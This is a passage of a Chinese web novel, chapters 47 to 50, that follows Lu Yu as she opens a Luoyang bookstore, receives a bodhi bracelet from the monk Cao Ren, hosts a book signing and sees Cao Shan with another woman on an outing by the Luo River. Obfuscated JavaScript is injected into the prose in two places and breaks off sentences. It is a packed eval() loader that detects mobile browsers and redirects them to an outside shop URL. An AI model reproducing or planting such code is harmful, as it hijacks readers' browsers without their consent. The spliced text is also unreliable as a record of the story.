洛阳的书店分主楼和附楼,主楼共两层,挨着街面,附楼也是两层,不过和主楼隔了一个院子。 附楼后面有一条小河流过,院子东侧有一排房间,院中种有一棵很大的枣树和一口井。 看过房间后,陆萸让书店伙计和掌柜住东侧那一排房间,附楼一楼做星火课堂的教室。 二楼有三个套间,陆萸打算给自己留一间,另外两个套间留给三叔和谢洐视察店铺时用来休息。 每次让三叔陆显选铺面,陆萸皆要求院子后面必须有河,主要考量的是如果起火,有水比较容易施救。 洛阳书店后面的河面很平缓,河两岸种满柳树,附楼西侧有一道很小的后门,可以直通河岸的柳树下。 在离书店不远的河面上还建有一座只够行人通行的小石桥,如今正是洛阳大市开市的时候,陆萸见桥上行人不断。 新书上架,熟悉新店员,陆萸忙活了一整天,至太阳将落,担心城门下匙,她忙坐车回内城。 陆萸原定的开店时间是三天后,届时沈玉要在书店一楼签售新的游记,这次也和以往一样准备了五百册。 所以接下来的日子她事无巨细的亲自参与,整理书架,培训员工,以及写书签。 这期间曹壬一直未出现在书店,每当忙碌一天回城的时候,陆萸就会想起他,或许只是自己一厢情愿罢了,不该心存幻想的。 三天后,书店如期开业,沈玉却迟迟不见踪影,那些书迷们开始对书店有怨言。 陆萸也知道是店铺失信在先,所以尽量安抚住顾客,并承诺明日签售会时,签售新书一律八折并多赠送一根精美书签。 饶是如此,也有人在大堂出言谩骂,好在谢洐及时出现,并再三以陈郡谢氏的名声做保,大家才不情不愿的离去。 待顾客散去,谢洐愤然道:“沈三郎可说了为何迟到?确定明日一定能到?” 陆萸也是昨日才收到他会迟来的消息,今早就立马做了部署。 她叹道:“前阵他姐姐病重,所以耽搁了他的行程。” 这般理由倒也可以原谅,谢洐收起了想要继续数落沈玉的话,大不了明日继续豁出老脸给侄女找场子吧。 他跟着陆萸绕了一圈书店,连后院附楼给他留的房间也看过后,听闻瑶光公主有约,便急匆匆的走了。 第一天开店出如此变故,陆萸觉得疲累不堪,但她答应了那些顾客多送一根书签,所以还得加班加点连夜写书签。 眼看天色将黑,陆萸干脆拿两百根未写字的书签让陈蕊带回定北侯府,让陆弘和陆妘也帮忙一起写。 剩下几百根,她打算今夜留在书店写,万一明天沈玉还是迟到,她能及时出现在店里安抚顾客也是好的。 太阳终于全部西沉,大市也恢复了宁静,晚风吹过河畔的柳树时,偶尔传来一阵一阵的唰唰声。 陆萸正坐在外间的书案上奋笔疾书,青铜雁鱼烛台上点了三根粗大的蜡烛,将屋内照得亮堂。 三伏是识字的,她在陆萸一旁的苇席上坐好,不时接过陆萸写好的书签,细细查错,然后吹干,放入一旁的竹筒内。 戌时的更刚敲过,突然有伙计来报,后门外有僧人敲门。 陆萸一听,猜想是曹壬,忙让三伏去楼下将他带上来。 书店打烊后,为放松身心,陆萸将男装换下,穿了一套居家的浅绿色交领纱裙,北方既热又干燥,宽松的纱裙既透气又方便行动。 她的头上未梳发髻,也没有任何头饰,只用一根布条随意扎了一下,让长发就那么披在肩头。 曹壬原想着陆萸明日清晨才会来,所以他入夜敲响书店的门只为借宿,待看到三伏,他也是愣了一下。 知晓深夜造访少女的房间终归不妥,他双手合十行礼道:“贫僧先在楼下宿下,明日再见阿萸吧。” 三伏发现女公子自那天见过眼前的僧人后,向来果干的她时常发呆走神,想来女公子对他极为看中,不然不会才听闻有僧人敲门,就立马让自己下楼迎接。 她福身回礼后,笑道:“女公子如今正忙着,法师上楼刚好可以帮忙。” 闻言,曹壬没有继续犹豫,听闻今日开店时起了点风波,难怪她不回定北侯府宿在这里。 这般想着,他加快 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一旁的陆萸看着忍不住咋舌,若是在后世,眼前的少年肯定是个当之无愧的学霸。 有曹壬的帮忙,几百根书签很快写完。 看着塞满三个竹筒的书签,陆萸笑道:“你若不来,我得奋战到天明了。” 曹壬笑回:“阿萸自谦了。” 陆萸也不和他客套,像当年一样,坐在地上不顾形象地在他面前伸了大大的个懒腰。 刚刚忙写字,没发现他的异样,如今细细看过才发现他眼周有很重的黑眼圈。 她忙关切道:“是我让你受累了吗?” 曹壬摇摇头,和陆萸解释最近一直没来书店的原因。 他那日去郑氏府邸后,因郑老夫人实在病重,郑府的人便未让他离开。 连续几天,他一直在郑府不停的诵经,累了也只能坐在郑老夫人床前,趁闭眼打坐时休息片刻。 至今日下午白马寺净觉住持风寒有所好转后,才去郑府将他换了出来。 只是从郑府离开时已是黄昏,他赶回白马寺又徒步来书店,听过报更,才知竟已到了戌时。 他说着,伸手从袖袋中拿出一串菩提手串,道:“忙赶路忘了时辰,我看书店后院还有亮光,所以想进来借宿一宿,待明日再将这手串送与你。” 陆萸听了他的解释,心里满满当当的欢喜和感动,但看到他疲惫不堪的双眼,又觉得他真傻。 眼中忍不住湿润,她笑道:“你大可在寺中休息好了再来的。” 曹壬闻言,执意举着摊开的右手掌,笑道:“这是我第一次辩经的时候从西域僧人手中赢来的,那时才见,便想着阿萸或许会喜欢它。” 佛珠是星月菩提手串,菩提子在灯光下闪烁着柔和的光芒,那是自然而又纯净无暇的美。 这样的佛珠本该是让人的心灵宁静祥和的,如今静静地躺在他的掌心,和掌心的纹路交错在一起,却像一张网,仿佛要将陆萸的心网在那掌心中央。 她没有勇气伸出自己的手,她怕指尖会触碰到那掌心的温热,怕自己忍不住想要沉沦,所以只是怔怔看着。 曹壬见她犹豫,问:“可是不喜欢?若不喜,日后我得了更好的再送你。” 见他想要收回手掌,陆萸忙伸手快速拿起那手串,笑道:“实在太美,一时看呆了。” 今日不收,或许日后就没有机会了,这般想着,陆萸也顾不了什么清规戒律,拿起手串直接戴在手上。 光滑温润的星月菩提套在手腕上,在散落的光晕中,变得如梦如幻。 她细嫩柔软的指尖如羽毛般划过曹壬的掌心时,他的心口猝不及防的跳了一下,一种从未有过的情绪瞬间萦绕心口。 他微不可查的收回手掌后,在心底默念了几句经文,那奇怪的感觉才慢慢消失。 48. 第四十八章 荷花 曹壬看起来实在疲累,陆萸明天也有一场硬仗要打,她于是让三伏带着他去隔壁房间休息去了。 隔壁和陆萸这间一样,是个带内室的套房,原本留给陆三叔休息用,只是陆显最近忙绸缎铺的事,很少来书店,房间也还没入住。 曹壬进屋后,没有继续往里走,而是留在外间,打算在矮榻上休息。 比丘在修行过程中,为了保持身体的警觉性和一醒来就可以立即坐起来修禅定,所以睡的都是简单的硬板床。 这是他向三伏解释的话语,陆萸听后,对三伏道:“随他去吧,我们不用管。” 原以为今日焦头烂额了一天,又熬夜写书签,夜里肯定好眠,可陆萸却迟迟难以入睡。 她伸手轻轻抚摸着左手腕上的菩提子,抬起来在鼻尖嗅了嗅,淡淡的檀香味扑面而来。 想着他的突然到访,心口那种既开心又难过的矛盾情绪像如水的夜色紧紧包裹着自己。 他对她的好,一如既往,却无关风月。 若是以前,陆萸还未发现自己心中隐秘的情愫时,他这样的好,她只当好友相交,坦然接受,心中亦不会有更深的依恋。 唉!罢了,他不知,她便藏的再深一些吧!这么想着,她摸着手串就这么睡着了。 隔壁的曹壬确实没有太多精力胡思乱想,他几天连续诵经已是累极,加之回了白马寺又赶来书店,这一去一回将近二十里的路全靠步行,身体承受已至极限,才躺下就已沉沉入睡了。 翌日清晨,曹壬睡醒后,发现自己在陌生的环境,先是愣了一下神,想起昨夜的相见,心情莫名愉悦起来。 他起来做的第一件事是静坐修禅,大概过了半个时辰,听到隔壁开门的声音,他才起身理了理袈裟打开了房门。 陆萸已换回男装,平时无论是在书店还是在书院,她都穿男装,大家也习惯称呼她为陆小公子。 陆氏那么大的家族,也没人去追究她到底是哪一房的陆小公子,只知道小公子很得家主陆侯的喜爱,对她自然也不敢怠慢。 二人在走廊相见,不约而同出声:“早上好!” 二人又不约而同的笑了起来,陆萸也不再互相谦让,走在前面先下了楼梯。 她昨日已向顾客保证过,今日一定让沈玉签售新书,所以她简单用过早膳就赶去主楼里了。 曹壬吃的就更简单,仅一块素饼一碗清水,吃好后,心中不放心陆萸,也跟着去了书店。 陆萸道:“你先看看书店的书,若有喜欢的可以带走,我现在要去交代今日工作。” 曹壬点点头:“你先去忙,不用管我。” 就这样,陆萸风风火火的安排工作去了,比如书签摆哪里,如果有人抱怨要尽量稳住对方情绪,哪些书可以无偿赠送,以平息顾客怒气,等等一系列应急措施。 站在书架前的曹壬虽然翻开了《取经记》,目光却忍不住追随着陆萸,这样在工作中雷厉风行的她,他以前从未见过。 想不到分别不过三年,曾经的小女孩变得更加优秀了,她不需要倚靠任何人,就可以过自己想要的生活。 陆萸把该交代的都交代完后,带着曹壬上了书店二楼的雅间,这里是用来接待贵客的。 坐定后,陆萸笑道:“从洛阳相逢至今,还未有机会和你好好喝杯茶,你今日若不忙,就坐下喝一杯。” 曹壬笑着坐下后,道:“至少没你忙。” 就这样,陆萸边煮茶,边和曹壬说了自己这三年都做了些什么,以及以后的打算。 曹壬在一旁安静的听着,偶尔也会问她一些关于书院课程的内容。 陆萸说完了,笑道:“如今轮到你了?” 曹壬微微一笑,道:“修行枯燥,其实也没什么可说的。” 陆萸问:“你入白马寺,南安王府可曾有人去打扰你。” 她还真怕那毒手串不是老王妃的手笔,而是顾王妃和世子中一人所为。 见曹壬摇头说未曾,她心底松了一口气,同时又忍不住替他心疼起来,这样的真相真是残酷至极。 陆萸突然不说话,曹壬疑惑道:“你是觉得修行太苦吗?”他看到对面的女孩眼中满是不忍。 “确实太苦”陆萸端起茶杯喝一口,掩饰道。 曹壬却笑道:“我甘之如饴,阿萸不用担忧。” 于是他又大概说了他这三年都参加那些佛事活动,跟着师父净觉都学了些什么。 他除了学经、诵经、辩经,竟然还学会了武僧的棍法。 以前的他终日缠绵病榻,没机会学骑射,如今旧疾已除,自然格外珍惜健康体魄,所以主动学了武僧棍法。 聪明的人学什么都快,仅用了三年时间,他不但学会了所有棍法,还用得很熟练。 陆萸听了,立即想到电影《少林寺》,她因为太兴奋激动,身体不由自主地凑上前,看着他问:“所以,你现在已经是一名武林高手了?” 这简直是奇遇呀,早知如此,当初让他留在南安王府熬命做什么,就该早早剃度出家,既能少受毒害还能学一身武艺。 曹壬不知什么是武林高手,只是见陆萸突然挨得如此近,他甚至好像闻到了她身上散发的少女独有的清香。 她的眼神如此热切,明亮的瞳孔中满满都是自己的影子,他的脸立马就红了。 他羞涩一笑:“就是简单的强身健体而已,不值得阿萸夸赞。” 这样纯情的少年僧人,让陆萸看得愣了一下,忍得很辛苦才终于慢慢将身体退回座位上。 她打趣道:“学得本领是该夸的,你怎么连耳朵都红了?” 说完,她忍不住欢快的笑了起来。 曹壬被她问得更羞涩了,立即闭上眼拿出手串边念心经边转动佛珠。 “君期,你闭上眼没用,脸上还有笑”陆萸接着打趣。 这下,曹壬的耳朵更红了,哪怕手中飞快转动着珠子,他始终无法平息听到她银铃般的笑声时,内心深处那不由自主地欢愉。 陆萸以前从未想过穿上袈裟的他,反而比当年更生动,当年的他仿佛对所有的人和事都失了兴趣。 想来因为那句“可能活不过二十”,他每日都是抱着必死之心,思及此,本来笑着的她突然笑出了眼泪。 “君期,你睁眼吧,我保证不笑了”她用帕子擦了眼泪后道。 曹壬依言缓缓睁开眼睛,看到对面的少女安静的看着自己,他自己反而忍不住扬起了嘴角。 哪怕三年未见,有些早已养成的默契从未改变,就如现在,只是安静相视已胜过千言万语。 “我以前说过你笑起来很好看,现在也不会收回”陆萸将一杯茶倒好,递给曹壬道。 曹壬伸手接过,笑回:“你也一样。” 二人同时握住茶杯的刹那,氤氲的茶雾让陆萸有瞬间恍惚,仿佛二人还在南安王府的那棵海棠树下。 不过很快,沈玉的话音打破了陆萸的思绪。 沈玉人还未至,声音从屋外传来:“阿萸,我总算没让你失望。” 陆萸立刻回过神松开了握茶杯的手,笑回:“你再不来,我的店都要被人掀了。” 沈玉进屋后发现屋内有一僧人,愣了一下,才问:“得你如此高规格的接待,莫不是上次与我说的那位方外好友?” 陆萸还未介绍,曹壬起身双手合十,道:“贫僧法号慧悟,见过沈公子。” 在未见曹壬时,沈玉也是见识过很多名声在外的世家公子的,然而,就在此刻,什么绝世无双、芝兰玉树等那些用来形容男子的词通通都觉能不够。 向来自信满满的他,此时哪怕身着洛阳最流行的广袖衫,也在一袭棕色袈裟的曹壬面前开始自我怀疑。 他叹道:“能得如此之人夸赞,真是三生有幸。” 曹壬笑回:“沈公子自谦了。” 陆萸不等他们二人客套,忙起身道:“来了就赶紧去一楼等着吧。” 沈玉不悦道:“我千里迢迢赶来助你,不说盛情款待,好歹允我喝口茶吧?” 陆萸边推着沈玉,边道:“这茶不是煮给你的,你要喝,等下让三伏给你泡一壶。” 沈玉还想在楼上休息一下,陆萸却推着他下楼了,她扭头对曹壬道:“我们去忙了,你随意。” 曹壬点点头,笑道:“你去吧。” 沈玉虽然嘴上不情不愿,但看到一楼已经有人在新书旁排队,还是很负责的坐到了书案前。 陆萸先是诚恳的向大家道歉,然后才介绍起这次的《墨生游 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不知缘由的,他口中的茶没有初喝的时候清爽回甘了,放下茶杯,他走下楼。 陆萸见他,笑道:“这里很快就忙完了,君期不再坐会?” 曹壬摇摇头:“我想去郑府替换师父,今日就先别过,下次再见。” “下次是何时?”陆萸忍不住问。 曹壬顿了一下,才道:“随缘吧。” 说完,他双手合十,向陆萸和沈玉行礼后,才走出书店。 这人怎么说走就走了,陆萸有些傻眼的看着那袭袈裟消失在眼前。 沈玉见状,边揉手腕,边道:“别看了,看出一朵荷花都没用。” 陆萸低头看了看手腕上的星月菩提,苦涩一笑道:“我知道。” 这样情绪低落的陆萸,沈玉以前没见过,他愣了一下,安慰道:“你不是有一句天涯何处无芳草吗?怎么轮到自己就执迷不悟了。” 闻言,陆萸收拾好思绪,不悦道:“不会安慰人就闭上臭嘴。” 言毕,转身去看今天的业绩去了。 沈玉在身后大声道:“我的手都要废了,怎么不见你安慰我。” 沈瑶和陆妘刚从门外进来,看到兄长如此,笑着打趣道:“等数过银两,手就能好了。” 从没见过如此拆台的妹妹,沈玉气道:“去去去,胳膊肘往外拐,我数了银子不分你买漂亮衣裙。” 沈瑶才不管他的威胁,挽着陆妘的手去找陆萸了。 沈瑶说的的确没错,今日沈玉共签售了七百三十六册《墨生游记》,哪怕打了八折,依然有两万九千四百四十两银子进账。 他看到自己的分成金额时,手腕的酸痛早已忘到九霄云外了。 曹壬从星火书店出来后,和每一次去世家府邸讲经的时候一样,他慢慢徒步在繁华的洛阳街头。 在以前,他认为这一切凡尘俗世皆与自己无关,只是专心的赶路。 今日,他忍不住留意起笑着追逐打闹的孩童,不时呦呵的商贩,以及挑着担子在卖荷花的少年郎。 少年郎将一束荷花递给一名公子,笑道:“愿公子早日觅得良人归。” 公子收了花,付过钱,笑回:“她若喜欢,我明日再找你买。” 公子拿着娇艳动人的荷花从曹壬身旁走过,他仿佛看到花苞上还挂有新鲜的露珠,在阳光下闪烁着,似珍珠晶莹剔透。 卖花郎见曹壬站在一旁看了许久,笑问:“法师也想送花给别人吗?若是你,我可以免费送你。” 曹壬回过神来,双手合十,回道:“多谢郎君好意,只是贫僧无可送之人。” 言毕,他转身离去,可脑海中仍忘不了买花公子手捧荷花时,脸上挂着既期待又愉悦的表情。 花还未送出去,只是想起心中之人,就已让他如此开心了吗。 他低头看了看腕间的太阳子菩提,想起昨日从白马寺离开时,袖袋中装着想要送给阿萸的星月菩提,一路上,他也是满怀期许的。 思及此,他猛然停下了脚步。 那样娇艳妖娆的荷花,他好像也有可送之人的,只是已经送不出去了。 49. 第四十九章 洛河 若问世间何事可以让人最快忘记心中烦闷,陆萸看来估计只有挣钱和数钱。 她既弄不懂曹壬为何突然就走了,也算不准他那句“随缘吧”的再见之期是何时,但她从来都不是爱钻牛角尖的人,因此很快就再次投身到忙碌中去了。 新书签售会在几经波折后,终于完美落幕,洛阳不同其他地方,那些低价的书不怎么好卖,反而是诗经系列、游记系列、《取经记》、封神榜系列非常畅销。 陆萸总结一下,洛阳城不差钱的主多,注重娱乐消遣的人也多。 如今《取经记》已家喻户晓,她想出一套珍藏版,价格定高一些,只要有人愿意买单就行。 第二日,陆萸收到陆歆来信,说想赶在九月份以前在荆州境内建一座星火书院,建书院的费用以及书院管理人员和授课老师都不用她操心。 信中还提到,荆州星火书院选址在江夏,院长还是陆歆,副院长也是旬维,几名名誉讲师照旧,让她和沈玉商量一下他是否愿意去荆州星火书院挂名名誉讲师。 陆萸以前也想过这个方案,只是她的钱不停砸入山阴星火书院,担心再建一所书院的话资金会周转不开。 如今由陆氏出资建设硬件设施,又有山阴星火书院的成功运作案例在前,她自然没有不同意的理由。 看过信后,她当即准备今夜回定北侯府。 昨日签售结束,沈玉核对完签售分成后,立马喜滋滋的带着沈瑶逛洛阳城去了。 临行前还不忘打趣陆萸:“难得来一趟都城,我可不想像你满脑子只想挣钱。” 陆萸听了不甚在意,挣钱什么时候成了贬义词了?她甘之如饴,别人之言有何可在意的。 眼看内城关城门时间将至,陆萸让车夫快些赶马,至定北侯府,刚入府内,就发现一片喜气洋洋。 问过才知是九叔母诸葛氏下午刚被诊出有孕足两个多月了,九堂叔一高兴给所有仆从都给了赏钱。 陆萸回屋换上一套黄色纱裙,检查了一下头饰,才去主屋找诸葛氏道喜。 她进主屋行礼道喜后,将手中盒子递给陆妘,才道:“我也不知小孩会喜欢什么,这是我的一点心意望叔母收下。” 她送的是一套用玉石打造的九连环,玉的品种不算特别名贵,但胜在做工精良,每个玉环都打磨得圆润光滑,摸上去特别舒服。 上次逛洛阳城的时候,她一眼相中并买下了它,是想备着以后送给哪个晚辈玩耍,如今凑巧赶上了。 诸葛氏打开盒子看过后,笑道:“都是自家人无需如此客气,况且孩子还没出生,若是个调皮捣蛋的,岂不是糟蹋了此等好物?” 陆萸笑道:“摔坏了再买就是。” 诸葛氏闻言,笑道:“知道你挣钱厉害,不收下还得担心你不高兴。” 一时间,在场众人都笑了起来,她还真没说错,陆萸的确是这一堆人中挣钱最厉害的。 如今她名下有四个书店,两个茶点店,除去新开的洛阳书店,其他所有店铺都是盈利状态,而她的太平纸,更是洛阳世家的追捧对象。 如今用太平纸写字的热潮已经赶超佐伯纸,用一纸千金形容太平纸都不为过。 待从主屋出来,陆妘向陆萸道谢:“若非因为妹妹,母亲还下不了决心备孕。” 陆萸听了,不明所以的看着陆妘,她何时有这等本事了? 陆妘这才和她解释起事情的经过。 她自出生就带有心疾,父母担心生了其他孩子后,无意识被分走的宠爱会让她伤心而加重心疾。 直至她的父母赶回洛阳,留她和陆萸在华亭养病,陆萸给她讲了海伦凯勒的故事,让她开阔眼界的同时,第一次想主动找父母诉说自己的想法。 她只是有心疾,不是敏感多疑小肚鸡肠之人,相反她心胸开阔,不想父母为了自己不敢再生。 所以在她多次劝说下,诸葛氏喝药调理身体,终于再次有孕。 陆妘叹道:“海伦姑娘尚且能做到坚强乐观、热爱生活,我又有什么可想不通的。虽然不知妹妹从哪里听来那么多有趣的故事,但我知道你和她拥有一样的品质。” 陆萸被堂姐夸得晕乎乎的,笑道:“我文采不如你,你说什么就是什么吧。” 闻言,陆妘笑着轻刮一下她的鼻子道:“说你文采不如我,简直是自谦过头了。” 陆萸笑着跑开了,那些诗真不是她写的,可她也说不出是谁写的。 翌日清晨,为防止沈玉兄妹出门游玩而扑空,陆萸起了大早,换了一身蓝色纱裙,带上篱帽就出发去沈宅了。 吴兴沈氏以茶闻名大魏,又以雄厚的经济实力和复杂的人脉网闻名江东,在洛阳自然也有自己的府宅。 只是沈氏目前无人在洛阳任要职,买的府宅只为偶尔进京时短住,所以沈宅在离皇宫更远一些的永和里东南角。 马车从定北侯所在的永康里出发去永和里要由西向东横穿整个洛阳内城,也要经过郑氏所在的义井里。 明知曹壬不一定会碰巧出来,可路过郑氏大门的时候,陆萸还是忍不住掀开帘子看了一眼。 马车缓缓行过义井里,陆萸才放下帘子,至永和里沈氏府宅门口时,沈氏仆从正在将门口的灯笼取下吹灭。 他们看到定北侯府的马车竟然一大早就停在门口,忙进屋请示后又急匆匆出来将陆萸主仆迎进门。 陆萸的确来的很早,此时沈瑶还未梳洗完毕,沈玉也刚刚打整好,还未用早膳。 他听陆萸解释大清早登门的原因后,不可思议道:“你是对挣钱有多大的执念,才会一大早横穿整个洛阳。” 陆萸看得出,沈玉看自己的眼神像极了前世自己看那些工作狂的眼神。 她尴尬一笑,才道:“建书院是为传道授业,不为挣钱。” “那也不用如此着急吧?我又不会不告而别”沈玉还是无法理解有人竟然可以如此执着。 陆萸是个行动派,可沈玉是个习惯享受慢生活的旅游达人,所以她解释再多,他也未必理解。 她于是干脆问:“废话少说,你回答愿意或者不愿意就行。” 沈玉嘀咕了一声“求人还这么没有耐心”,然后道:“我可以答应去荆州书院讲课,只是你得答应我一事。” “何事?”陆萸问。 “陪我们去游洛河,如何?”沈玉道。 “成交”陆萸立马回答,这要求简直太容易实现了。 沈瑶过了一会才梳洗打扮好,见到陆萸守着阿兄用早膳,也是被她的执着给吓得不轻。 拥有此等毅力,想来少有萸妹妹办不成的事吧?可惜阿兄不开窍呀! 她这么想着,看沈玉的眼神就有些恨铁不成钢。 沈玉见到,一时间吓得连用早膳的胃口都减小了,莫不是执着挣钱这病被陆萸传染给妹妹了? 陆萸看不懂兄妹二人的心思,此时正一脸期待的等着他们用膳。 洛水秋深碧如黛,乱石纵横泻鸣濑。 古往今来,多少文人墨客看过洛河都要忍不住写一首诗。 洛河在洛阳城南,出了内城东南角的开阳门,就能看到宽广的洛河顺着城墙向东流去。 洛河有两条支流,这两条支流中间隔着明堂、辟雍和太学,靠近内城这条支流被称内洛河,而另一条支流上有永桥通向四夷馆,被称外洛河。 今天陆萸和沈氏兄妹要游玩的地方是内洛河东段,也是太学学子最爱出来游玩的地方。 此时的洛河,就如诗中所描绘的那样,河水清澈,映照着蓝天白云与四周的风景,如诗如画。 三人从马车上下来后,慢悠悠的顺着河道向东徒步而下。 北方夏末的太阳很热,且因少雨空气干燥,陆萸和沈瑶都怕风吹得鼻子难忍,头上的篱帽一直未取下。 此时民风比较开放,年轻男女相约在河畔游玩很正常,有几名女郎路过三人身旁时,还向沈玉抛了手绢和香囊。 走了不知多久,眼看太阳越升越高,陆萸提议找个凉快的地方休息,洛河畔种有各类树木,寻一棵苍天古树乘凉并不难。 其中最多的是两岸林立的银杏树,此时绿叶还未黄透,黄绿相交是一道风景。 仆从先去前面探路,找到一棵大银杏树后,立马在地上铺上苇席,摆上案几,拿出香炉,点上香,然后恭敬地等着陆萸一行人入座。 待他们入座后,仆从又摆好另一个案几,拿出红泥小炉、茶叶、茶具等一系列烹茶工具,有条不紊的给主人们煮茶了。 如此高效,陆萸还未来得及赞叹一番, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050793|134449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 立马有侍人给陆萸打起扇子。 这一刻,习惯了简约生活的陆萸彻底堕落了,她终于理解为何世家子弟每次出门都有那么大的阵仗了。 相比他们这些,陆氏虽也是世家,却节俭太多了。 坐在河畔,赏着美景,吹着凉风,陆萸叹道:“我终于知道你为何想要我一同游玩了。” 沈玉一派风流自在的倚在树干上,笑问:“为何?” “你就是为了显摆,好提醒我以前活得有多粗糙”陆萸抿了一口茶,回道。 “噗嗤”一旁的沈瑶没忍住,将茶水喷了出来,她边笑着边拿手帕擦水渍。 沈玉用那种无药可救的眼神看着陆萸:“挣钱不为享受为哪般?” 陆萸听了不置可否,道:“我需要花钱的地方多了去!” 沈玉气急,道:“我看你那么疲累,才约你出来放松,怎知你竟和那猪八戒一样。” 陆萸不知怎么和猪八戒扯上了,只听沈玉道:“浪费人参果。” 好吧,陆萸手中的茶瞬间喝不下去了。 沈瑶见状,也忙不得擦水,忙出面劝和,二人这才暂时停火。 沈玉道:“别人给你的不愉快不要发泄给我。” 陆萸刚要张口解释,却突然不知从何解释,她的确对曹壬突然离开带了怨言,情绪也暴躁起来。 她是个善于反思的人,立马低声道:“抱歉,是我没控制好情绪,浪费你一番好意。” 沈玉将食盒推过去一些,道:“知错能改善莫大焉,尝尝,我让人快马加鞭从江夏买来的点心。” 一看点心的包装,陆萸便知道这是华彩阁的经典款,除了陆氏的人,无人知这个点心是她的产业。 看到有人花钱买她的东西给她品尝,陆萸有些过意不去,笑道:“过几日我就要去江夏筹备书院的事了,届时我在华彩阁也买几盒送你。” “这么快就要出发了?”沈玉以为她要等洛阳书店进入稳步营业期才走。 “筹备书院比这边紧迫,等书院那边都安排好,我还会回洛阳的。” 沈瑶听了,也忍不住轻叹:“妹妹这般奔波真是太累了。” 陆萸却摇头笑笑:“我就喜欢做有奔头的事,不觉得累。” 三人正在树下聊着天,陆萸突然听到一阵熟悉的说话声。 她忙伸出一根手指比了个“嘘”的动作,然后迅速躲入银杏树靠河的那一侧,这样路过的人就看不到她了。 待声音越来越近,陆萸可以确认来人正是杨琇莹和南安王世子曹善,他二人边走边聊着,有说有笑,举止看起来非常熟稔。 沈玉是认识曹善的,他忙起身向二人行礼,道:“难得在此遇到江东故人,幸会。” 杨锈莹带着篱帽,但见到沈氏兄妹时,身子悄悄退至曹善后面,没有要上前见礼的意思。 陆萸看到曹善伸手轻轻将她护在身后,一瞬间,她怒火中烧,伪君子曹善离了江东竟然连伪装都懒得了吗? 可是仅凭看到他们二人相约出游,她不能做出判断,在世人眼中带友人出游实为雅事,所以现在跳出去质问也没用。 等着他们相互寒暄离去后,她才一脸愤恨的坐回沈瑶身旁。 “看来今天日子没选好”沈玉叹道。 他和妹妹都听不出那女郎的声音,只是见陆萸如此气愤,想必是她认识的人,这样兄妹二人更不好问了。 曹善和陆氏有婚约,陆婠及笄后,南安王府和陆府已经开始交换庚贴,现在就等曹善在太学毕业了。 只是曹善毫不避嫌的与其他女郎出游,不知陆婠知道会作何想法? 沈玉出言安慰道:“或许事实并非如你所想,你先冷静。” 闻言,陆萸脑中也慢慢清醒过来,反正姐姐还未成亲,她可以慢慢找证据。 倘若曹善心里还有姐姐,被她搅黄了反而对不起姐姐,他那人喜欢到处结交权贵,难说真的只是普通出游。 且长兄陆弘和曹善一起在太学,若曹善有出格之举,他肯定早就发现了。 这般想着,她心中的怒火暂时熄灭了,她笑道:“我知道分寸。” 怒火是平息了,陆萸却没了游玩的兴致了,她现在只想赶紧写信让祖父快些派个打探消息厉害的人到洛阳书店。 50. 第五十章 相思 陆萸从洛河游玩归来后,先是找陆弘旁敲侧击了一番曹善的近况。 陆弘只当陆萸是替陆婠在打听,自然知无不言,细细将近半年来在太学了解到的情况说给陆萸听。 因安和帝曹启迟迟未定下新太子人选,几个在太学学习的藩王公子们也开始焦躁不安,最为明显的是南安王世子曹善。 未入太学时,他的名气已经盖过其他公子,当初大家私底下都以为他会顺理成章成为下一任太子,然而三年时间已过,安和帝却迟迟未选定他。 他听惯了太多人的恭维和追捧,曾经一度以为胜券在握,如今变得动摇起来,开始怀疑自己的能力。 于是,他更加频繁地出入各大世家府邸,主动放下姿态结交世家公子们。 可惜那些世家当初能经历百年不倒,靠的是独到的政治眼光,如今又岂会轻易押宝。 世家们对所有上门的公子都以礼相待,主打来者不拒一视同仁,既赚了名声,也赚了送上门的东西。 陆萸总结了一下,曹启皇帝和世家们都是老狐狸,这些公子每天出入狐狸窝,怎么可能真讨的好处? 没想到,帝王筛选太子的第一关竟然是拼心态,不知那些公子中有没有人开始醒悟? 此时此刻,以不动应万变或许更能得曹启皇帝的关注。 陆萸心里想着这些,却没敢在陆弘面前说出来,毕竟这个话题太敏感了。 “阿萸,说实话,哪怕一直和世子在一个学堂,我依然觉得他越来越陌生”陆弘叹道。 或许,弟弟当初的担忧没错,世子和妹妹陆婠真的不适合,只是如今庚帖已交换,一切都已经来不及了。 陆萸已然听懂兄长未尽之言,苦涩笑道:“祖父与老王爷有约定,这婚没那么容易更改的。” 陆氏若主动提出取消婚约,就成了陆氏背信弃义在先,哪怕陆萸和兄长能去说服长辈,素来注重大局的陆婠也不会同意。 陆弘听了,唯有沉默不语,因为他也是个事事以大局为重的人。 静默片刻,陆萸笑道:“先不用考虑那么远,或许这事还能有转机。” 陆弘听了,苦笑道:“但愿如此吧。” 陆萸向来豁达,不到最后一刻不会放弃,若曹善真被查出来有对不起阿姊的地方,她绝不会手软。 曹善若不是太子,他就得事事仰仗陆氏,她不信那时候他还敢对阿姊不好,这些都是她私心所想,没和陆弘说。 翌日,陆萸先是找谢洐说了想在洛阳华彩阁也开点心铺,至于产品,无需出彩独特,只需中规中矩就行。 之前谢洐邀请她在洛阳开店,她拒绝的理由是洛阳贵人太多,口味刁钻,怕弄不好钱没赚到还惹一身麻烦。 谢洐笑问:“如今怎么又想通了?” 陆萸回道:“是否挣钱不重要,我只是想让喜爱‘丰年’点心的顾客不用赶赴江夏购买。” 谢洐觉得这理由有些牵强,但他见识过陆萸脑中层出不穷的新点子,所以对洛阳茶点销售非常有把握。 他很爽快就答应陆萸的请求,甚至烤炉房和员工住宿的房间都大方的提供给她。 再有两月就是中秋,他想借此良机大赚一笔,立即催着她赶紧准备人手。 一切谈妥,陆萸也不再浪费时间,立马赶回洛阳星火书店安排好工作,她要尽快赶回江夏和祖父汇合。 